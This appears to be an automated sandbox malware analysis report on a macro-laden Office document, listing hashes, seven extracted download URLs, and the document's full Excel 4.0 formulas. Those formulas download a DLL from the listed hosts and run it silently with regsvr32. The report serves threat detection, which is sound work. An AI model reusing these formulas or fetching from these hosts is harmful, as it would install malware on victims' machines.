General
-
Target
3fcc64bf9f6e763bb4b247cbc458abe15fc72cdc48e650ed769803e79a296513
-
Size
21KB
-
MD5
567b392e47b2f812808effb88a662c10
-
SHA1
7f89b29cf07c16bbd52e75a3baab8c8ca3073568
-
SHA256
3fcc64bf9f6e763bb4b247cbc458abe15fc72cdc48e650ed769803e79a296513
-
SHA512
b1ad85dcd6bc9a8f63e0c8bddb565265531fd6773547dd5b8ed88c2a422cfaaa1c0a181c01afbdb6e5e6c3a09903ccc6a341b0361a468d07028ebbd77422a164
-
SSDEEP
384:M8c5hAuAi/NjxhS8EibbwBlwcSYrLb5CzgObff9kC+xbX7T/1SeyB:MPksNPzXSFCBn9kC+xbLTc9
Malware Config
Extracted
http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/
https://physioacademy.co.uk/conditions/8I3WSx5t2k/
http://orchidbg.com/aeeiludqootr/OcnjiLHL/
https://westthamesphysio.com/blog/3tsZIz09Sox1Z/
http://snappylookphotobooth.com/headers/P/
http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/
http://casadorothea.com/cc/H5v/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://astroadvicebaba.com/assets/jYlBTPcWJTsTtamDfX/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://physioacademy.co.uk/conditions/8I3WSx5t2k/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://orchidbg.com/aeeiludqootr/OcnjiLHL/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://westthamesphysio.com/blog/3tsZIz09Sox1Z/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://snappylookphotobooth.com/headers/P/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://194.59.165.91/nbproject/1XFiatvBCRW9eh5JxptS/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://casadorothea.com/cc/H5v/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
3fcc64bf9f6e763bb4b247cbc458abe15fc72cdc48e650ed769803e79a296513